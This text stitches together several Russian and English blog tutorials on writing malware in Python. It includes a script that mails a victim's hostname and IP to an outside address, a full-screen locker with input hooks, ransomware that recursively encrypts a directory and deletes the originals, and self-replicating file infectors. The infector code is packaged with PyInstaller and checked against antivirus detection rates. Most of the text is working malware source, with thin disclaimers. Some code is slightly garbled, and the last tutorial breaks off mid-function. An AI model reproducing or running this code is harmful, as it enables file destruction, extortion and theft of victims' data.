Как написать вредоносный код на питоне

В мире  существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести  хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому  списку можно с абсолютной уверенностью добавить вирусы на Python.

Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях?  Желание нагадить ближнему без необходимости учить C/C++?  Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?

Если отбросить часть иронии…

… и вникнуть в ситуацию, то становится видно, что адекватные  питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами  (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.

Есть  продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.

Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Просмотры: 2 956

Как написать шифровальщик на Python
Как написать шифровальщик на Python

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

pip install pyAesCrypt
pip install pyautogui
pip install tkinter

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Импорт библиотек:

import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu соi import click, moveTo
from time import sleep

Теперь возьмемся за основную часть программы.

# Создаем окно
root = Tk()
# Вырубаем защиту левого верхнего угла экрана
pyautogui.FAILSAFE = False
# Получаем ширину и высоту окна
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
# Задаем заголовок окна
root.title('From "hacker" with love')
# Открываем окно на весь экран
root.attributes("-fullscreen", True)
# Создаем поле для ввода, задаем его размеры и расположение
entry = Entry(root, font=1)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
# Создаем текстовые подписи и задаем их расположение
label0 = Label(root, text="╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻", font=1)
label0.grid(row=0, column=0)
label1 = Label(root, text="Пиши пароль и жми Ctrl + C", font='Arial 20')
label1.place(x=width/2-75-130, y=height/2-25-100)
# Включаем постоянное обновление окна и делаем паузу
root.update()
sleep(0.2)
# Кликаем в центр окна
click(width/2, height/2)
# обнуляем ключ
k = False
# Теперь непрерывно проверяем, не введен ли верный ключ
# Если введен, вызываем функцию хулиганства
while not k:
    on_closing()

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

import pythoncom, pyHook

hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()

Создадим функцию для ввода ключа:

def callback(event):
    global k, entry
    if entry.get() == "hacker":
        k = True

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

def on_closing():
    # Кликаем в центр экрана
    click(width/2, height/2)
    # Перемещаем курсор мыши в центр экрана
    moveTo(width/2, height/2)
    # Включаем полноэкранный режим
    root.attributes("-fullscreen", True)
    # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing
    root.protocol("WM_DELETE_WINDOW", on_closing)
    # Включаем постоянное обновление окна
    root.update()
    # Добавляем сочетание клавиш, которые будут закрывать программу
    root.bind('<Control-KeyPress-c>', callback)

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

direct = input("Напиши атакуемую директорию: ")
password = input("Введи пароль: ")

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

with open("Crypt.py", "w") as crypt:
    crypt.write('''
    текст программы
    ''')

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

import os
import sys

Пишем функцию шифрования (все по мануалу pyAesCrypt):

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    # Задаем пароль и размер буфера
    password = "'''+str(password)+'''"
    buffer_size = 512*1024
    # Вызываем функцию шифрования
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    # Удаляем исходный файл
    os.remove(file)

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

def walk(dir):
    # Перебор всех подпапок в указанной папке
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если это файл, шифруем его
        if os.path.isfile(path):
            crypt(path)
        # Если это папка, рекурсивно повторяем
        else:
            walk(path)

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

walk("'''+str(direct)+'''")
os.remove(str(sys.argv[0]))

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

import os
import sys

def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    os.remove(file)

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            crypt(path)
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

import os
import sys

# Функция расшифровки
def decrypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'''+str(password)+'''"
    buffer_size = 512 * 1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
    os.remove(file)

# Обход каталогов
def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        if os.path.isfile(path):
            try:
                decrypt(path)
            except Error:
                pass
        else:
            walk(path)

walk("'''+str(direct)+'''")
print('-' * 80)
os.remove(str(sys.argv[0]))

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

import sys
import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void):
    print("Infected")

Сразу вызовем ее, чтобы понять, что программа отработала:

code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir):
    for name in os.listdir(dir):
        path = os.path.join(dir, name)
        # Если нашли файл, проверяем его расширение
        if os.path.isfile(path):
            # Если расширение — py, вызываем virus
            if (os.path.splitext(path)[1] == ".py"):
                virus(path)
            else:
                pass
        else:
            # Если это каталог, заходим в него
            walk(path)

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

# START #
# STOP #

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

def virus(python):
    begin = "# START #n"
    end = "# STOP #n"
    # Читаем атакуемый файл, назовем его copy
    with open(sys.argv[0], "r") as copy:
        # Создаем флаг
        k = 0
        # Создаем переменную для кода вируса и добавляем пустую строку
        virus_code = "n"
        # Построчно проходим заражаемый файл
        for line in copy:
            # Если находим маркер начала, поднимаем флаг
            if line == begin:
                k = 1
                # Добавляем маркер в зараженный код
                virus_code += begin
            # Если мы прошли начало, но не дошли до конца, копируем строку
            elif k == 1 and line != end:
                virus_code += line
            # Если дошли до конца, добавляем финальный маркер и выходим из цикла
            elif line == end:
                virus_code += end
                break
            else:
                pass
    # Снова читаем заражаемый файл
    with open(python, "r") as file:
        # Создаем переменную для исходного кода
        original_code = ""
        # Построчно копируем заражаемый код
        for line in file:
            original_code += line
            # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
            if line == begin:
                vir = True
                break
            # Если маркера нет, опускаем флаг vir
            else:
                vir = False
    # Если флаг vir опущен, пишем в файл вирус и исходный код
    if not vir:
        with open(python, "w") as paste:
            paste.write(virus_code + "nn" + original_code)
    else:
        pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем

pip install PyInstaller

И вводим команду

PyInstaller "имя_файла.py" --onefile --noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

  • файл Crypt.exe не понравился 12 антивирусам из 72;
  • файл Locker.exe — 10 антивирусам из 72;
  • файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

Источник

6 minute read

Sometimes we find our files being infected with a computer virus. In this tutorial, we will get introduced to the concept of a virus by writing a simple one in Python.

First thing first, let’s get introduced to the definition of a computer virus. A virus is a typical malware program that infects a particular type of file or most files by injecting data or code. It tries to list files in all directories and then inject typical data/code in those files.

Point to be noted; a virus does not replicate itself. It just continuously infects all files in the directories/folders. The malware that replicates itself and consumes hard disk space is typically called a Worm.

If you are interested to write other types of malwares, you can go through my previous posts:

  • Write a Backdoor in Python
  • Write a Worm (Malware) in Python
  • A Basic Keylogger in Python

Okay, now, let’s get started writing one.

Requirements

To write a simple virus, we will use the following modules.

import os
import datetime
import pathlib
import time

os module

Here, module os is the most important one as it will help us to list all the files along with the absolute path. An absolute path starts with the root directory /. For example, if my current working directory is Downloads and there is file named hi.txt inside a subfolder named test_sub. Then

absolute path: /Users/roy/Downloads/test_sub/hi.txt
relative path: test_sub/hi.txt

Absolute path is necessary here as while working with numerous files you must know the exact location. Using filenames only, your script do not know where to look for that files.

pathlib module

Here, we use pathlib to retrive the extension of a file. It can be done in multiple ways though, so you may not find this module necessary at all.

datetime and time

datetime and time is used only for the start time of execution. If you want the script to start working right now, you may not need these modules as well.

Virus Class

The initializer method

Now, lets create a virus class that accepts four arguments when it is called.

class Virus:
    
    def __init__(self, infect_string=None, path=None, 
                         extension=None, target_file_list=None):
        if isinstance(infect_string, type(None)):
            self.infect_string = "I am a Virus"
        else:
            self.infect_string = infect_string
            
        if isinstance(path, type(None)):
            self.path = "/"
        else:
            self.path = path
            
        if isinstance(extension, type(None)):
            self.extension = ".py"
        else:
            self.extension = extension
            
        if isinstance(target_file_list, type(None)):
            self.target_file_list = []
        else:
            self.target_file_list = target_file_list

Here, the infect_string will be used to insert in a file. If the user does not provide an input, the default value is “I am a Virus”.

By default the path is set to be the root directory /. From here, it will browse all subdirectories and files. However, the user can provide a target path as well.

User can define target file extension. If not, the default is set to be python files .py.

User can also provide the target_file_list that conatains all the listed target files. If None, the constructor method set it as an empty list.

Btw, if you are wondering that why the code looks a bit ugly, you can use the following as well.

class Virus:
    
    def __init__(self, infect_string="I am a Virus", path="/", 
                         extension=".py", target_file_list=[]):
            self.infect_string = infect_string
            self.path = path
            self.extension = extension
            self.target_file_list = target_file_list

I just prefer the earlier way to set all default values inside the constructor method. However, the latter is a lot easier to understand and use.

Method to list all target files

here we use another mthod named list_files that lists all files within directories and subdirectories given an initial path.

    def list_files(self, path):
        files_in_current_directory = os.listdir(path)
        
        for file in  files_in_current_directory:
            # avoid hidden files/directories (start with dot (.))
            if not file.startswith('.'):
                # get the full path
                absolute_path = os.path.join(path, file)
                # check the extension
                file_extension = pathlib.Path(absolute_path).suffix
				
				# check if it is a directory
                if os.path.isdir(absolute_path):
                    self.target_file_list.extend(self.list_files(absolute_path))
				
				# check if the target file extension matches
                elif file_extension == self.extension:
                    is_infected = False
                    with open(absolute_path) as f:
                        for line in f:
                            if self.infect_string in line:
                                self.is_infected = True
                                break
                    if is_infected == False:
                        self.target_file_list.append(absolute_path)
                else:
                    pass

here, in the method we did the followings:

  1. list all files in the current working directory
  2. iterate over all files and do the followings
    • only consider visible files (avoid hidden files, e.g., starts with dot . in Unix-based systems)
    • get the absolute path using os.path.join
    • retrieve the file extension using pathlib.Path
    • check if it is a directory using os.path.isdir (if yes, call the same function and pass the path to continue digging deeper, in coding world it is called a **recursive function**)
    • Check if the extension matches with target extension (if yes, check whether it is already infected by looking for the string in the file; if string not found, append to the list).

Method to infect the files

Here, we will add another method that can infect (insert/prepend) the string in the given filename.

    def infect(self, file_abs_path):
        if os.path.basename(file_abs_path) != "virus.py":
            try:
                f = open(file_abs_path, 'r')
                data = f.read()
                f.close()
                virus = open(file_abs_path, 'w')
                virus.write(self.infect_string + "n" + data )
                virus.close()
            except Exception as e:
                print(e)
        else:
            pass

To prepend the self.infect_string, we first read the whole file and keep the contents in a variable data; then add our string before the data and write to the file.

point to be noted, in this example as we are using python files, we need to exclude our own file, right? :zany_face:

that’s why I exclude the filename there in the very first condition.

Final method that integrates everything

Now, we can first define when to start our virus.

  • Do you want to set a timer (e.g., 60 seconds), then provide input to the timer while calling this method.
  • Do you want to set a date (e.g., someone’s birthday), then provide input to the target_date while calling this method.

And, then our primary mission begins.

  1. List all target files by calling the list_files method
  2. For each file, insert the string using the infect method

okay, so, here is our code

    def start_virus_infections(self, timer=None, target_date=None):
        if not isinstance(timer, type(None)):
            time.sleep(timer)
            self.list_files(self.path)
            for target in self.target_file_list:
                self.infect(target)
                
        elif not isinstance(target_date, type(None)):
            today = str(datetime.datetime.today())[:10]
            if str(target_date) == today:
                self.list_files(self.path)
                for target in self.target_file_list:
                    self.infect(target)
                    
        else:
            print("User must provide either a timer or a date using datetime.date()")

Main Function

Now, let’s create our main function and run the code

if __name__ == "__main__":
    current_directory = os.path.abspath("")
    virus = Virus(path=current_directory)
    # virus.start_virus_infections(target_date=datetime.date(2021,6,1))
    virus.start_virus_infections(timer=5)
    # print(virus.target_file_list)

Here, we first create an object of the class. And then call the start_virus_infections method with providing a timer or a date. To avoid hassle, use os.path.abspath(""), which refers to the current directory only so that you do not get hurt with inserting the string in other necessary python codes you wrote before.

Testing

To have a easier testing environment, create a few python files in the same directory and check if your virus is able to insert the string to those files. To make things easier, run the following code to create three python files (create a seperate script).

if __name__ == '__main__':
    filenames = ["test1.py", "test2.py", "test3.py"]
    data = 'print("hello")n'

    for file in filenames:
        f = open(file, "w")
        f.write(data)
        f.close()

Both codes are available in GitHub.

that’s all folks, you can look at other security concept tutorials in python. I have created a repository for that. I am planning to provide security concepts by writing python codes. Please feel free to put a star if you like the repository.

https://github.com/shantoroy/intro-2-cybersecurity-in-python

Also, the associated blog post links are available in the ReadMe file over there.

Have a good day! Cheers!!!

References

  1. Viruses – From Newbie to pro
  2. os- Miscellaneous operating system interfaces

14 minute read

teaser

I was relaxing on a beach during my summer leave when I received a mail from a reader that asked me if it is technically possible to write a virus using Python.

The short answer: YES.

The longer answer: yes, BUT…

Let’s start by saying that viruses are a little bit anachronistic in 2021… nowadays other kinds of malware (like worms for example) are far more common than viruses. Moreover, modern operative systems are more secure and less prone to be infected than MS-DOS or Windows 95 were (sorry Microsoft…) and people are more aware of the risk of malware in general.

Moreover, to write a computer virus, probably Python is not the best choice at all. It’s an interpreted language and so it needs an interpreter to be executed. Yes, you can embed an interpreter to your virus but your resulting virus will be heavier and a little clunky… let’s be clear, to write a virus probably other languages that can work to a lower level and that can be compiled are probably a better choice and that’s why in the old days it was very common to see viruses written in C or Assembly.

That said, it is still possible to write computer viruses in Python, and in this article, you will have a practical demonstration.

I met my first computer virus in 1988. I was playing an old CGA platform game with my friend Alex, that owned a wonderful Olivetti M24 computer (yes, I’m THAT old…) when the program froze and a little ball started to go around the screen. We had never seen anything like that before and so we didn’t know it back then, but we were facing the Ping-Pong virus one of the most famous and common viruses ever… at least here in Italy.

Now, before start, you know I have to write a little disclaimer.


This article will show you that a computer virus in Python is possible and even easy to be written. However, I am NOT encouraging you to write a computer virus (neither in Python nor in ANY OTHER LANGUAGES), and I want to remember you that HARMING AN IT SYSTEM IS A CRIME!


Now, we can proceed.

According to Wikipedia…

a computer virus is a computer program that, when executed, replicates itself by modifying other computer programs and inserting its own code. If this replication succeeds, the affected areas are then said to be “infected” with a computer virus, a metaphor derived from biological viruses.

That means that our main goal when writing a virus is to create a program that can spread around and replicate infecting other files, usually bringing a “payload”, which is a malicious function that we want to execute on the target system.

Usually, a computer virus does is made by three parts:

  1. The infection vector: this part is responsible to find a target and propagates to this target
  2. The trigger: this is the condition that once met execute the payload
  3. The payload: the malicious function that the virus carries around

Let’s start coding.

try:
    # retrieve the virus code from the current infected script
    virus_code = get_virus_code() 

    # look for other files to infect
    for file in find_files_to_infect():
        infect(file, virus_code)

    # call the payload
    summon_chaos()

# except:
#     pass

finally:
    # delete used names from memory
    for i in list(globals().keys()):
        if(i[0] != '_'):
            exec('del {}'.format(i))

    del i

Let’s analyze this code.

First of all, we call the get_virus_code() function, which returns the source code of the virus taken from the current script.

Then, the find_files_to_infect() function will return the list of files that can be infected and for each file returned, the virus will spread the infection.

After the infection took place, we just call the summon_chaos() function, that is — as suggested by its name — the payload function with the malware code.

That’s it, quite simple uh?

Obviously, everything has been inserted in a try-except block, so that to be sure that exceptions on our virus code are trapped and ignored by the pass statement in the except block.

The finally block is the last part of the virus, and its goal is to remove used names from memory so that to be sure to have no impact on how the infected script works.

Okay, now we need to implement the stub functions we have just created! :)

Let’s start with the first one: the get_virus_code() function.

To get the current virus code, we will simply read the current script and get what we find between two defined comments.

For example:

def get_content_of_file(file):
    data = None
    with open(file, "r") as my_file:
        data = my_file.readlines()

    return data

def get_virus_code():

    virus_code_on = False
    virus_code = []

    code = get_content_of_file(__file__)

    for line in code:
        if "# begin-virusn" in line:
            virus_code_on = True

        if virus_code_on:
            virus_code.append(line)

        if "# end-virusn" in line:
            virus_code_on = False
            break

    return virus_code

Now, let’s implement the find_files_to_infect() function. Here we will write a simple function that returns all the *.py files in the current directory. Easy enough to be tested and… safe enough so as not to damage our current system! :)

import glob

def find_files_to_infect(directory = "."):
    return [file for file in glob.glob("*.py")]

This routine could also be a good candidate to be written with a generator. What? You don’t know generators? Let’s have a look at this interesting article then! ;)

And once we have the list of files to be infected, we need the infection function. In our case, we will just write our virus at the beginning of the file we want to infect, like this:

def get_content_if_infectable(file):
    data = get_content_of_file(file)
    for line in data:
        if "# begin-virus" in line:
            return None
    return data

def infect(file, virus_code):
    if (data:=get_content_if_infectable(file)):
        with open(file, "w") as infected_file:
